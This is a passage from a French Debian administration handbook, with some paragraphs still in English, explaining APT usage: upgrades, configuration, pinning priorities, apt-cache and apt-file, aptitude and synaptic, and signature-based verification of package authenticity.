Si le paquet à installer a été mis à votre disposition sous la forme d'un simple fichier .deb sans référentiel de paquets associé, il est toujours possible d'utiliser APT pour l'installer avec ses dépendances (à condition que les dépendances soient disponibles dans les référentiels configurés) avec une simple commande : apt install ./chemin-du-paquet.deb. Le préfixe ./ est important pour qu'il soit clair que nous nous référons à un nom de fichier et non au nom d'un paquet disponible dans l'un des référentiels.

POUR ALLER PLUS LOIN Cache des fichiers .deb

APT keeps a copy of each downloaded .deb file in the directory /var/cache/apt/archives/. In case of frequent updates, this directory can quickly take a lot of disk space with several versions of each package; you should regularly sort through them. Two commands can be used: apt-get clean entirely empties the directory; apt-get autoclean only removes packages which can no longer be downloaded (because they have disappeared from the Debian mirror) and are therefore clearly useless (the configuration parameter APT::Clean-Installed can prevent the removal of .deb files that are currently installed).

6.2.3. Mise à jour

Des mises à jour régulières sont recommandées, car elles mettront en place les derniers correctifs de sécurité. Pour cela, on invoquera apt upgrade, apt-get upgrade ou aptitude safe-upgrade (évidemment précédé par apt update). Cette commande cherche les mises à jour des paquets installés, réalisables sans supprimer de paquets. Autrement dit, l'objectif est d'assurer une mise à jour la moins intrusive possible. Pour cette action, apt-get est un peu plus exigeant que aptitude ou apt parce qu'il refusera d'installer des paquets qui ne l'étaient pas préalablement.

Remarquons cependant qu'apt retiendra en général le numéro de version le plus récent (à l'exception des paquets Experimental et des rétroportages, ignorés par défaut quel que soit leur numéro de version). Si vous avez mentionné Testing ou Unstable dans votre sources.list, apt upgrade migrera une grande partie de votre système Stable en Testing ou Unstable, ce qui n'est peut-être pas l'effet recherché.

To tell apt to use a specific distribution when searching for upgraded packages, you need to use the -t or --target-release option, followed by the name of the distribution you want (for example, apt -t stable upgrade). To avoid specifying this option every time you use apt, you can add APT::Default-Release "stable"; in the file /etc/apt/apt.conf.d/local.

Pour les mises à jour plus importantes, comme lors du basculement d'une version majeure de Debian à la suivante, il faut utiliser apt full-upgrade. Cela effectue la mise à jour même s'il y a des paquets obsolètes à supprimer et de nouvelles dépendances à installer. C'est également la commande employée par ceux qui exploitent quotidiennement la version Unstable de Debian et suivent ses évolutions au jour le jour. Elle est si simple qu'elle parle d'elle-même : c'est bien cette fonctionnalité qui a fait la renommée d'APT.

Contrairement à apt et aptitude, apt-get n'a pas la commande full-upgrade. À la place, on utilisera apt-get dist-upgrade (mise à jour de la distribution), qui est la commande historique et bien connue que apt et aptitude acceptent également pour le confort des utilisateurs qui sont habitués à les utiliser.

Les résultats de ces opérations sont enregistrés dans /var/log/apt/history.log et /var/log/apt/term.log, tandis que dpkg conserve son journal dans un fichier appelé /var/log/dpkg.log.

6.2.4. Options de configuration

Outre les éléments de configuration déjà mentionnés, il est possible de configurer quelques aspects d'APT en ajoutant des directives dans un fichier du répertoire /etc/apt/apt.conf.d/ ou dans /etc/apt/apt.conf lui-même. Rappelons par exemple qu'il est possible pour APT d'indiquer à dpkg d'ignorer les erreurs de conflit de fichiers en précisant DPkg::options { "--force-overwrite"; }.

If the Web can only be accessed through a proxy, add a line like Acquire::http::proxy "http://yourproxy:3128". For an FTP proxy, write Acquire::ftp::proxy "ftp://yourproxy". To discover more configuration options, read the apt.conf(5) manual page (for details on manual pages, see Section 7.1.1, « Les pages de manuel »).

B.A.-BA Répertoire en .d

Les répertoires de suffixe .d sont de plus en plus souvent employés. Chacun abrite des fichiers ventilant un fichier de configuration. Ainsi, tous les fichiers contenus dans /etc/apt/apt.conf.d/ constituent les instructions de configuration d'APT. APT les inclura dans l'ordre alphabétique, de sorte que les derniers pourront modifier un élément de configuration défini dans l'un des premiers.

Cette structure apporte une certaine souplesse à l'administrateur de la machine et aux mainteneurs de paquets. En effet, l'administrateur peut facilement modifier la configuration du logiciel en déposant un fichier tout prêt dans le répertoire en question sans devoir modifier de fichier existant. Les mainteneurs de paquets ont la même problématique lorsqu'ils doivent adapter la configuration d'un autre logiciel pour assurer une parfaite cohabitation avec le leur. La charte Debian interdit explicitement toute modification de fichiers de configuration relevant d'autres paquets, interdiction justifiée par le fait que seuls les utilisateurs sont habilités à intervenir ainsi. Rappelons en effet que dpkg invite l'utilisateur, lors d'une installation, à choisir la version du fichier de configuration qu'il souhaite conserver lorsqu'une modification y est détectée. Toute modification externe du fichier déclencherait une telle requête, qui ne manquerait pas de perturber l'administrateur certain de n'avoir rien altéré.

Without a .d directory, it is impossible for an external package to change the settings of a program by modifying its configuration file directly. Instead it must either invite the user to do it themselves and lists the operations to be done in the file /usr/share/doc/package/README.Debian, or it must create a file diversion for the configuration file using the dpkg-divert command and then install its own configuration file for the software in question. The latter is sometimes used by third party packages which try to handle configuration files of software components they use.

Selon les applications, le répertoire .d est directement exploité, ou géré par un script externe qui en concaténera tous les fichiers pour créer le fichier de configuration à proprement parler. Il est alors important d'exécuter ce script après toute intervention dans ce répertoire pour que les plus récentes modifications soient prises en compte. De même, on prendra soin de ne pas travailler directement sur le fichier de configuration construit automatiquement, sous peine de tout perdre lors de l'exécution suivante du script. Le choix de la méthode (répertoire .d utilisé directement ou fichier généré à partir de ce répertoire) est généralement dicté par des contraintes de mise en œuvre, mais dans les deux cas, les gains en termes de souplesse de configuration compensent largement les petites complications induites. Comme exemple de la méthode du fichier généré, on peut citer le serveur de messagerie Exim 4, dont la configuration peut être découpée en plusieurs fichiers (/etc/exim4/conf.d/*) qui sont agrégés en un seul (/var/lib/exim4/config.autogenerated) par la commande update-exim4.conf.

6.2.5. Gérer les priorités associées aux paquets

Une des problématiques les plus importantes dans la configuration d'APT est la gestion des priorités des différentes sources de paquets. Il arrive en effet assez fréquemment qu'on souhaite compléter une distribution d'un ou deux paquets plus récents issus de Testing, Unstable ou Experimental. Il est possible d'affecter une priorité à chaque paquet disponible (un même paquet pouvant recevoir plusieurs priorités, selon sa version ou sa distribution d'appartenance). Ces priorités dicteront à APT son comportement : pour chaque paquet, il sélectionnera systématiquement la version de plus haute priorité (sauf si cette version est plus ancienne que celle installée et si la priorité associée est inférieure à 1 000).

APT définit un certain nombre de priorités par défaut. Chaque version de paquetage déjà installée a une priorité de 100, une version non installée reçoit une priorité de 500 sauf si elle fait partie de la distribution cible (Target Release), qu'on spécifie avec l'option -t ou la directive APT::Default-Release, auquel cas sa priorité passe à 990.

You can modify the priorities by adding entries in a file in /etc/apt/preferences.d/ or the /etc/apt/preferences file with the names of the affected packages, their version, their origin and their new priority.

APT will never install an older version of a package (that is, a package whose version number is lower than the one of the currently installed package) except if its priority is higher than 1000 (or it is explicitly requested by the user, see Section 6.2.2, « Installation et suppression »). APT will always install the highest priority package which follows this constraint. If two packages have the same priority, APT installs the newest one (whose version number is the highest). If two packages of same version have the same priority but differ in their content, APT installs the version that is not installed (this rule has been created to cover the case of a package update without the increment of the revision number, which is usually required).

Plus concrètement, un paquet dont la priorité est

< 0

ne sera jamais installé,

1..99

ne sera installé que si aucune autre version du paquet n'est déjà installée,

100..499

ne sera installé que si aucune autre version plus récente n'est installée ou disponible dans une autre distribution,

500....989

ne sera installé que si aucune version plus récente n'est installée ou disponible dans la distribution cible,

990..1000

sera installé sauf si la version installée est plus récente,

> 1000

sera toujours installé, même si cela oblige APT à rétrograder vers une version plus ancienne.

When APT checks /etc/apt/preferences and /etc/apt/preferences.d/, it first takes into account the most specific entries (often those specifying the concerned package), then the more generic ones (including, for example, all the packages of a distribution). If several generic entries exist, the first match is used. The available selection criteria include the package's name and the source providing it. Every package source is identified by the information contained in a Release file that APT downloads together with the Packages files. It specifies the origin (usually “Debian” for the packages of official mirrors, but it can also be a person's or an organization's name for third-party repositories). It also gives the name of the distribution (usually Stable, Testing, Unstable or Experimental for the standard distributions provided by Debian) together with its version (for example, 11 for Debian Bullseye). Let's have a look at its syntax through some realistic case studies of this mechanism.

CAS PARTICULIER Priorité d'Experimental

Si vous avez inscrit Experimental dans votre fichier sources.list, les paquets correspondants ne seront quasiment jamais installés, leur priorité APT étant de 1. C'est un cas particulier qui évite que les utilisateurs installent des paquets Experimental par erreur et les oblige à opérer en tapant aptitude install paquet/experimental — ils ont donc pleinement conscience des risques encourus. Il est possible, mais ce n'est pas recommandé, de considérer les paquets Experimental comme ceux des autres distributions en leur affectant une priorité de 500 grâce à une entrée dans le fichier /etc/apt/preferences :

Package: *

Pin: release a=experimental

Pin-Priority: 500

Supposons qu'on souhaite utiliser exclusivement des paquets provenant de la version stable de Debian, sans jamais installer ceux des autres versions sauf demande explicite. Il est possible d'écrire ce qui suit dans le fichier /etc/apt/preferences :

Package: *

Pin: release a=stable

Pin-Priority: 900

Package: *

Pin: release o=Debian

Pin-Priority: -10

a=stable précise le nom de la distribution concernée. o=Debian restreint l'entrée aux paquets dont l'origine est « Debian ». Le terme pin (épingle en anglais), est généralement traduit, dans ce contexte, par « étiquetage », car il permet d'accrocher à un paquet une étiquette désignant de quelle distribution il doit provenir.

Let's now assume that you have a server with several local programs depending on the version 5.28 of Perl and that you want to ensure that upgrades will not install another version of it. You could use this entry:

Package: perl

Pin: version 5.28*

Pin-Priority: 1001

To gain a better understanding of the mechanisms of priority and distribution or repository properties to pin do not hesitate to execute apt-cache policy to display the default priority associated with each package source, or apt-cache policy package to display the default priority for each available version and source of a package as explained in Section 6.3.1, « The apt-cache policy Command ».

The reference documentation for the files /etc/apt/preferences and /etc/apt/preferences.d/ is available in the manual page apt_preferences(5), which you can display with man apt_preferences.

ASTUCE Commentaires dans /etc/apt/preferences

Il n'existe pas de syntaxe standard pour introduire des commentaires dans le fichier /etc/apt/preferences, mais il est possible d'y expliquer le rôle de chaque entrée à l'aide d'un ou plusieurs champs « Explanation » (explication) placés en début de bloc :

Explanation: Le paquet xserver-xorg-video-intel contenu dans

Explanation: experimental peut être utilisé sans risques

Package: xserver-xorg-video-intel

Pin: release a=experimental

Pin-Priority: 500

6.2.6. Travailler avec plusieurs distributions

L'outil formidable qu'est apt incite fortement à mettre en place des paquets provenant d'autres distributions. Ainsi, après avoir installé une version Stable, vous voulez tester un logiciel présent dans Testing ou Unstable, sans trop vous éloigner de son état initial.

Même si vous n'êtes pas complètement à l'abri de bogues d'interactions entre les paquets de différentes distributions, apt se révèle fort heureusement très habile pour gérer une telle cohabitation et en minimiser les risques. La meilleure manière de procéder est de préciser toutes les distributions employées dans le fichier /etc/apt/sources.list (certains y placent toujours les trois distributions, mais rappelons que l'utilisation d'Unstable est réservée aux utilisateurs expérimentés) et de préciser votre distribution de référence avec le paramètre APT::Default-Release (voir Section 6.2.3, « Mise à jour »).

Supposons que Stable soit votre distribution de référence, mais que Testing et Unstable apparaissent également dans votre fichier sources.list. Dans ce cas, vous pouvez employer apt install paquet/testing pour installer un paquet depuis Testing. Si l'installation échoue parce que certaines dépendances ne peuvent pas être satisfaites, autorisez-le à satisfaire ces dernières dans Testing en ajoutant le paramètre -t testing. Il en ira évidemment de même pour Unstable.

In this situation, upgrades (upgrade and full-upgrade) are done within Stable except for packages already upgraded to another distribution: those will follow updates available in the other distributions. We will explain this behavior with the help of the default priorities set by APT below. Do not hesitate to use apt-cache policy (Section 6.3.1, « The apt-cache policy Command ») to verify the given priorities.

Tout est lié au fait que APT ne considère que les paquets de version supérieure ou égale à la version installée (sauf configuration particulière dans /etc/apt/preferences forçant la priorité de certains paquets au-delà de 1 000).

Considérons un premier paquet installé depuis Stable et qui en est à la version 1, dont la version 2 se trouve dans Testing et la 3 dans Unstable. La version installée a une priorité de 100, mais la version disponible dans Stable (la même) a une priorité de 990 (en tant que version dans la distribution cible). Les paquets de Testing et Unstable ont une priorité de 500 (priorité par défaut d'une version non installée). Le vainqueur est donc la version 1 avec une priorité de 990. Le paquet « reste dans Stable ».

Let's take the example of another package whose version 2 has been installed from Testing. Version 1 is available in Stable and version 3 in Unstable. Version 1 (of priority 990 — thus lower than 1000) is discarded because it is lower than the installed version. This only leaves version 2 and 3, both of priority 500. Faced with this alternative, APT selects the newest version, the one from Unstable. If you don't want a package installed from Testing to migrate to the version in Unstable, you have to assign a priority lower than 500 (490 for example) to packages coming from Unstable. You can modify /etc/apt/preferences to this effect:

Package: *

Pin: release a=unstable

Pin-Priority: 490

6.2.7. Suivi des paquets installés automatiquement

One of the essential functionalities of apt is the tracking of packages installed only through dependencies. These packages are called “automatic”, and often include libraries.

With this information, when packages are removed, the package managers can compute a list of automatic packages that are no longer needed (because there is no “manually installed” packages depending on them). apt-get autoremove or apt autoremove will get rid of those packages. aptitude does not have this command because it removes them automatically as soon as they are identified. In all cases, the tools display a clear message listing the affected packages.

C'est une bonne habitude de marquer comme automatique tous les paquets dont vous n'avez pas besoin directement afin qu'ils soient automatiquement supprimés lorsqu'ils ne sont plus nécessaires. apt-mark auto paquet marquera le paquet donné comme automatique alors que apt-mark manual paquet fait le contraire. aptitude markauto et aptitude unmarkauto fonctionnent de la même manière bien qu'ils offrent plus de fonctionnalités pour marquer de nombreux paquets à la fois (voir la Section 6.5.1, « aptitude »). L'interface interactive basée sur la console d’aptitude permet également de vérifier facilement le « drapeau automatique » de nombreux paquets.

Il arrive que l'on veuille savoir pourquoi un paquet automatiquement installé est présent sur le système. Pour obtenir cette information directement depuis la ligne de commande, on peut employer aptitude why paquet (apt et apt-get ne disposent pas de cette fonctionnalité) :

$ aptitude why python3-debian

i   aptitude         Suggests apt-xapian-index

p   apt-xapian-index Depends  python3-debian (>= 0.1.14)

ALTERNATIVE deborphan et debfoster

In days where apt, apt-get and aptitude were not able to track automatic packages, there were two utilities producing lists of unnecessary packages: deborphan and debfoster. Both can still be useful.

deborphan scans the libs and oldlibs sections by default (in the absence of supplementary instructions) looking for the packages that are currently installed and that no other package depends on. The resulting list can then serve as a basis to remove unneeded packages.

debfoster a une approche plus évoluée, qui se rapproche un peu de celle d'APT : il maintient une liste de paquets installés explicitement et se rappelle d'une invocation sur l'autre quels paquets sont réellement requis. Si de nouveaux paquets sont apparus sur le système, et si debfoster ne les connaît pas comme des paquets requis, ils seront présentés à l'écran, ainsi qu'une liste de leurs dépendances. Le programme propose alors un choix, permettant de supprimer le paquet (ainsi que ceux dont il dépend, le cas échéant), de le marquer comme explicitement requis, ou de l'ignorer temporairement.

6.2.8. Motifs pour APT

Les motifs permettent de spécifier des requêtes de recherche complexes pour sélectionner les paquets que vous voulez installer ou afficher. Ils ont d'abord été implémentés pour aptitude (voir la Section 6.5, « Frontaux : aptitude, synaptic »), mais maintenant APT peut aussi les utiliser.

Par exemple, apt list ?automatic peut être utiliser pour lister tous les paquets installés automatiquement. Pour trouver les paquets installés automatiquement et dont les paquets installés manuellement ne dépendent plus, le motif ?garbage peut être utiliser.

Les motifs logiques peuvent être combinés avec d'autres paquets pour former des expressions plus complexes. Par exemple, un motif comme ?and(MOTIF, MOTIF) peut être utiliser. Consultez apt-patterns(7) et glob(7) pour connaitre tous les motifs qu’il est possible d’utiliser et les expressions complexes qui peuvent être créées.

6.3. Commande apt-cache

La commande apt-cache permet de consulter un certain nombre d'informations stockées dans la base de données interne d'APT. Ces informations — qui constituent une sorte de cache — sont rassemblées depuis les différentes sources données dans le fichier sources.list au cours de l'opération apt update.

VOCABULAIRE Cache

Un cache (« antémémoire », en français officiel) est un système de stockage temporaire servant à accélérer des accès fréquents à des données lorsque la méthode d'accès normale est coûteuse (en termes de performances). Cette notion s'applique dans de très nombreuses situations et à différentes échelles, depuis le cœur des microprocesseurs jusqu'aux systèmes de stockage de grande capacité.

In the case of APT, the reference Packages files are those located on Debian mirrors. That said, it would be very ineffective to go through the network for every search that we might want to do in the database of available packages. That is why APT stores a copy of those files (in /var/lib/apt/lists/) and searches are done within those local files. Similarly, /var/cache/apt/archives/ contains a cache of already downloaded packages (see sidebar POUR ALLER PLUS LOIN Cache des fichiers .deb) to avoid downloading them again if you need to reinstall them after a removal.

D'autre part, il est obligatoire de lancer apt update régulièrement pour mettre à jour le cache. Sinon, vos résultats de recherche de paquets vont toujours manquer les dernières mises à jour réparties dans les miroirs Debian.

The apt-cache command can do keyword-based package searches with apt-cache search keyword. It can also display the headers of the package's available versions with apt-cache show package. This command provides the package's description, its dependencies, the name of its maintainer, etc. Note that apt search, apt show, aptitude search, and aptitude show work in the same way.

ALTERNATIVE axi-cache

apt-cache search est un outil rudimentaire, qui ne dépasse guère un grep sur les descriptions de paquets. Il renvoie fréquemment trop de résultats ou aucun lorsque de trop nombreux mots-clés lui sont fournis.

À l'opposé, axi-cache search terme, fournit de meilleurs résultats, triés par pertinence. Cet outil utilise le moteur de recherche Xapian ; il fait partie du paquet apt-xapian-index, qui indexe toutes les informations des paquets (mais pas seulement : il indexe également les fichiers .desktop, par exemple). Il sait gérer les étiquettes (voir la POUR ALLER PLUS LOIN Le champ Tag) et son temps de réponse est souvent de l'ordre de quelques millisecondes.

$ axi-cache search package use::searching

axi-cache search package use::searching

13 results found.

Results 1-13:

100% packagesearch - GUI for searching packages and viewing package information

87% debtags - Debian Package Tags support tools

86% whohas - query multiple distributions' package archives

84% recoll - Personal full text search package

82% apt-forktracer - utility for tracking non-official package versions

[..]

66% apt - commandline package manager

More terms: debian dpkg search debtags whohas forktracer dctrl

More tags: role::program admin::package-management suite::debian works-with::software:package interface::commandline scope::utility protocol::http

Some features are more rarely used. For instance, apt-cache dumpavail displays the headers of all available versions of all packages. apt-cache pkgnames displays the list of all the packages which appear at least once in the cache.

L’une des fonctionnalités qui peut s’avérer très souvent utile est apt-cache policy, décrite dans la section suivante.

6.3.1. The apt-cache policy Command

La commande apt-cache policy affiche les priorités d’épinglage et les propriétés de la distribution de chaque source de paquet, comme expliqué dans la Section 6.2.5, « Gérer les priorités associées aux paquets ». Elle peut également afficher les priorités d’épinglage pour toutes les versions disponibles et les sources d’un paquet. Pour l’exemple sources.list utilisé dans l’Exemple 6.2, « Fichier /etc/apt/sources.list pour les utilisateurs de Debian Stable » et APT::Default-Release défini à « bullseye », la sortie ressemblera à ceci :

$ apt-cache policy

Package files:

100 /var/lib/dpkg/status

release a=now

100 https://deb.debian.org/debian bullseye-backports/main amd64 Packages

release o=Debian Backports,a=bullseye-backports,n=bullseye-backports,l=Debian Backports,c=main,b=amd64

origin deb.debian.org

990 https://deb.debian.org/debian bullseye/non-free amd64 Packages

release v=11.0,o=Debian,a=stable,n=bullseye,l=Debian,c=non-free,b=amd64

origin deb.debian.org

990 https://deb.debian.org/debian bullseye/contrib amd64 Packages

release v=11.0,o=Debian,a=stable,n=bullseye,l=Debian,c=contrib,b=amd64

origin deb.debian.org

990 https://deb.debian.org/debian bullseye/main amd64 Packages

release v=11.0,o=Debian,a=stable,n=bullseye,l=Debian,c=main,b=amd64

origin deb.debian.org

500 http://security.debian.org bullseye-security/main amd64 Packages

release v=11,o=Debian,a=stable-security,n=bullseye-security,l=Debian-Security,c=main,b=amd64

origin security.debian.org

Paquets épinglés :

apt-cache policy peut également afficher les priorités d'épinglage pour toutes les versions et sources disponibles d'un paquet donné.

$ apt-cache policy limnoria

limnoria:

Installé : 2021.06.15-1

Candidat : 2021.06.15-1

Table de versions :

2021.07.21-1~bpo11+1 100

100 https://deb.debian.org/debian bullseye-backports/main amd64 Packages

*** 2021.06.15-1 990

990 https://deb.debian.org/debian bullseye/main amd64 Packages

100 /var/lib/dpkg/status

Bien qu'il existe une version plus récente de limnoria dans le dépôt bullseye-backports, APT ne l'installera pas automatiquement en fonction de sa priorité. Il faut utiliser apt install limnoria/bullseye-backports ou ajouter une priorité d'épinglage plus élevée à /etc/apt/preferences.d/limnoria.pref :

Package: limnoria

Pin: release o=Debian Backports, a=bullseye-backports

Pin-Priority: 1001

$ apt-cache policy limnoria

limnoria:

Installé : 2021.06.15-1

Candidat : 2021.07.21-1~bpo11+1

Table de versions :

2021.07.21-1~bpo11+1 1001

100 https://deb.debian.org/debian bullseye-backports/main amd64 Packages

*** 2021.06.15-1 990

990 https://deb.debian.org/debian bullseye/main amd64 Packages

100 /var/lib/dpkg/status

6.4. The apt-file Command

Parfois, nous faisons référence à un fichier ou à une commande et on peut se demander dans quel paquet il peut être trouver. Heureusement, les dépôts Debian contiennent non seulement des informations sur tous les paquets binaires fournis, mais aussi sur tous les fichiers fournis avec. Ces informations sont stockées dans des fichiers nommés Contents-arch.gz et Contents-udeb-arch.gz. Ces informations ne sont pas automatiquement téléchargées par APT. La commande apt-file update (pour le paquet de même nom) est nécessaire pour récupérer le contenu de toutes les sources de paquets mentionnées dans /etc/apt/sources.list. Par défaut, elle télécharge les fichiers Contents*.pdiff comme décrit dans l'encadré ASTUCE Mises à jour incrémentale pour réduire la quantité de données à télécharger. Pour mettre à jour la base de données hebdomadairement, l'entrée suivante peut être ajoutée à /etc/crontab le cas échéant.

@weekly root test -x /usr/bin/apt-file && /usr/bin/apt-file update >> /dev/null 2>&1

Après la mise à jour de la base de données, la commande apt-file search motif listera tous les paquets qui contiennent un nom de fichier ou un chemin contenant le motif.

$ apt-file search bin/axi-cache

apt-xapian-index: /usr/bin/axi-cache

La commande apt-file list paquet listera plutôt tous les fichiers livrés avec le paquet.

TIP Listing a package contents and finding a file's package

Semblable à apt-file list la commande dpkg -L paquet liste tous les fichiers, mais seulement pour un paquet installé. Pour trouver le paquet auquel appartient un fichier local, utilisez dpkg -S fichier (voir la Section 5.4.3, « Consulter la base de données de dpkg et inspecter des fichiers .deb »). Pour lister tous les fichiers locaux n’appartenant à aucun paquet installé, vous pouvez envisager le paquet cruft ou le paquet cruft-ng.

6.5. Frontaux : aptitude, synaptic

APT is a C++ program whose code mainly resides in the libapt-pkg shared library. Using a shared library facilitates the creation of user interfaces (frontends), since the code contained in the library can easily be reused. Historically, apt-get was only designed as a test frontend for libapt-pkg but its success tends to obscure this fact.

6.5.1. aptitude

aptitude is an interactive program that can be used in semi-graphical mode on the console. You can browse the list of installed and available packages, look up all the available information, and select packages to install or remove. The program is designed specifically to be used by administrators, so that its default behaviors are designed to be much more intelligent than apt-get's, and its interface much easier to understand.

Figure 6.1. Gestionnaire de paquets aptitude

When it starts, aptitude shows a list of packages sorted by state (installed, non-installed, or installed but not available on the mirrors — other sections display tasks, virtual packages, and new packages that appeared recently on mirrors). To facilitate thematic browsing, other views are available. In all cases, aptitude displays a list combining categories and packages on the screen. Categories are organized through a tree structure, whose branches can respectively be unfolded or closed with the Enter, [ and ] keys. + should be used to mark a package for installation, - to mark it for removal and _ to purge it (note that these keys can also be used for categories, in which case the corresponding actions will be applied to all the packages of the category). u updates the lists of available packages and Shift+u prepares a global system upgrade. g switches to a summary view of the requested changes (and typing g again will apply the changes), and q quits the current view. If you are in the initial view, this will effectively close aptitude.

DOCUMENTATION aptitude

This section does not cover the finer details of using aptitude. It rather focuses on giving you a survival kit to use it. But it is well documented and we advise you to use its complete manual available in the aptitude-doc-en package (see /usr/share/doc/aptitude/html/en/index.html) or at https://www.debian.org/doc/manuals/aptitude/.

Pour chercher un paquet, on utilisera /, suivi d'un motif de recherche. Ce motif peut porter sur le nom du paquet, mais aussi sur sa description (si on le fait précéder de ~d), sa section (avec ~s) ou d'autres caractéristiques détaillées dans la documentation. Les mêmes motifs peuvent servir à filtrer les paquets affichés, fonctionnalité accessible grâce à la touche l (comme limit).

Gérer le « drapeau automatique » des paquets Debian (consulter la Section 6.2.7, « Suivi des paquets installés automatiquement ») est un jeu d’enfant avec aptitude. Il est possible de parcourir la liste des paquets installés et de marquer les paquets comme automatiques avec Shift+m ou de supprimer la marque avec la touche m. Les « paquets automatiques » sont affichés avec un « A » dans la liste des paquets. Cette fonctionnalité offre également un moyen simple de visualiser les paquets utilisés sur une machine, sans toutes les bibliothèques et dépendances dont vous ne vous souciez pas vraiment. Le motif associé qui peut être utilisé avec l (pour activer le mode de filtre) est ~i!~M. Il spécifie que vous souhaitez uniquement voir les paquets installés (~i) non marqués comme automatiques (!~M).

OUTIL aptitude en ligne de commande

La plupart des fonctionnalités d'aptitude sont accessibles aussi bien par l'interface interactive que par la ligne de commande et cette dernière ne dépaysera pas trop les habitués d'apt-get et apt-cache.

Les fonctionnalités avancées d’aptitude sont également disponibles en ligne de commande. Vous pouvez utiliser les mêmes motifs de recherche de paquets que dans la version interactive. Par exemple, si vous voulez nettoyer la liste des paquets « installés manuellement », et si vous savez qu'aucun des programmes installés localement ne nécessite de bibliothèques ou de modules Perl particuliers, vous pouvez marquer les paquets correspondants comme automatiques avec une seule commande :

# aptitude markauto '~slibs|~sperl'

On voit ici la puissance du système de motifs de recherche d'aptitude, qui permet de sélectionner d'un coup l'ensemble des paquets des sections libs et perl.

Attention, s'il existe des paquets que cette commande marque comme automatiques, et si aucun autre paquet n'en dépend, ils seront immédiatement supprimés (avec une demande de confirmation).

6.5.1.1. Gestion des recommandations, suggestions et tâches

Another interesting feature of aptitude is the fact that it respects recommendations between packages while still giving users the choice not to install them on a case by case basis. For example, the gnome package recommends transmission-gtk (among others). When you select the former for installation, the latter will also be selected (and marked as automatic if not already installed on the system). Typing g will make it obvious: transmission-gtk appears on the summary screen of pending actions in the list of packages installed automatically to satisfy dependencies. However, you can decide not to install it by deselecting it before confirming the operations.

On notera que cette fonction de suivi des recommandations ne s'applique pas lors d'une mise à jour. Ainsi, si une nouvelle version de gnome recommande un paquet qu'il ne recommandait pas auparavant, il ne sera pas marqué pour l'installation. En revanche, il sera mentionné dans l'écran de mise à jour, afin de vous laisser la possibilité de l'installer malgré tout.

Suggestions between packages are also taken into account, but in a manner adapted to their specific status. For example, since gnome suggests empathy, the latter will be displayed on the summary screen of pending actions (in the section of packages suggested by other packages). This way, it is visible and the administrator can decide whether to take the suggestion into account or not. Since it is only a suggestion and not a dependency or a recommendation, the package will not be selected automatically — its selection requires a manual intervention from the user (thus, the package will not be marked as automatic).

Dans la même veine, rappelons qu'aptitude exploite intelligemment le concept de tâche. Ces tâches étant affichées comme des catégories dans les écrans de listes de paquets, on peut soit choisir une tâche complète à installer ou supprimer, soit consulter la liste des paquets inclus dans une tâche afin d'en sélectionner un sous-ensemble plus limité.

6.5.1.2. Meilleurs algorithmes de résolution

To conclude this section, let's note that aptitude has more elaborate algorithms compared to apt-get when it comes to resolving difficult situations. When a set of actions is requested and when these combined actions would lead to an incoherent system, aptitude evaluates several possible scenarios and presents them in order of decreasing relevance. However, these algorithms are not fail-proof. Fortunately there is always the possibility to manually select the actions to perform. When the currently selected actions lead to contradictions, the upper part of the screen indicates a number of “broken” packages (and you can directly navigate to those packages by pressing b). It is then possible to manually build a solution for the problems found. In particular, you can get access to the different available versions by simply selecting the package with Enter. If the selection of one of these versions solves the problem, you should not hesitate to use the function. When the number of broken packages gets down to zero, you can safely go to the summary screen of pending actions for a last check before you apply them.

NOTE Journal d'aptitude

De même que dpkg, aptitude garde dans son journal (/var/log/aptitude) la trace des actions effectuées. Cependant, comme les deux commandes fonctionnent à un niveau bien différent, on ne trouve pas les mêmes informations dans les journaux respectifs. Là où celui de dpkg liste pas à pas les opérations exécutées sur chaque paquet individuel, celui d'aptitude donne une vue d'ensemble sur les opérations de plus haut niveau comme une mise à jour globale du système.

Beware, this logfile only contains a summary of operations performed by aptitude. If other frontends (or even dpkg itself) are occasionally used, then aptitude's log will only contain a partial view of the operations, so you can't rely on it to build a trustworthy history of the system.

6.5.2. synaptic

synaptic est un gestionnaire de paquets Debian en mode graphique (il utilise GTK+/GNOME). Il dispose d'une interface graphique efficace et propre. Ses nombreux filtres prêts à l'emploi permettent de voir rapidement les nouveaux paquets disponibles, les paquets installés, ceux que l'on peut mettre à jour, les paquets obsolètes, etc. En naviguant ainsi dans les différentes listes, on indique progressivement les opérations à effectuer (installer, mettre à jour, supprimer, purger). Un simple clic suffit à valider l'ensemble de ces choix et toutes les opérations enregistrées sont alors effectuées en une seule passe.

Figure 6.2. Gestionnaire de paquets synaptic

6.6. Vérification d'authenticité des paquets

Étant donné l'importance qu'accordent les administrateurs de Falcot SA à la sécurité, ils veulent s'assurer de n'installer que des paquets garantis provenant de Debian et non altérés en cours de route. En effet, un pirate pourrait tenter d'agir indirectement sur des machines en modifiant un paquet Debian diffusé afin d'y ajouter les instructions de son choix. Si un paquet ainsi modifié est installé, ces instructions agiront, par exemple afin de dérober les mots de passe. C'est pourquoi Debian offre un moyen de s'assurer que le paquet installé provient bien de son mainteneur et qu'il n'a subi aucune modification par un tiers : il existe un mécanisme de scellement des paquets.

The seal works with a chain of cryptographic hashes and a signature and is explained in detail in apt-secure(8). Starting with Debian 10 Buster the signed file is the InRelease file, provided by the Debian mirrors. There is also a legacy file called Release. Both contain a list of the Packages files (including their compressed forms, Packages.gz and Packages.xz, and the incremental versions), along with their SHA256 hashes, which ensures that the files haven't been tampered with. These Packages files contain a list of the Debian packages available on the mirror, along with their hashes, which ensures in turn that the contents of the packages themselves haven't been altered either. The difference between InRelease and Release is that the former is cryptographically signed in-line, whereas the latter provides a detached signature in the form of the file Release.gpg.

NOTE The future of Release and Release.gpg

Après la publication de Debian 10 Buster, l'intention a été annoncée de supprimer la prise en charge des anciens fichiers Release et Release.gpg dans APT, utilisés depuis la version 0.6 qui a introduit la prise en charge d'une authentification d'archive.

APT needs a set of trusted GnuPG public keys to verify signatures in the InRelease and Release.gpg files available on the mirrors. It gets them from files in /etc/apt/trusted.gpg.d/ and from the /etc/apt/trusted.gpg keyring (managed by the apt-key command). The official Debian keys are provided and kept up-to-date by the debian-archive-keyring package which puts them in /etc/apt/trusted.gpg.d/:

# ls /etc/apt/trusted.gpg.d/

debian-archive-bullseye-automatic.gpg

debian-archive-bullseye-security-automatic.gpg

debian-archive-bullseye-stable.gpg

debian-archive-buster-automatic.gpg

debian-archive-buster-security-automatic.gpg

debian-archive-buster-stable.gpg

debian-archive-stretch-automatic.gpg

debian-archive-stretch-security-automatic.gpg

debian-archive-stretch-stable.gpg

EN PRATIQUE Ajouter des clés de confiance

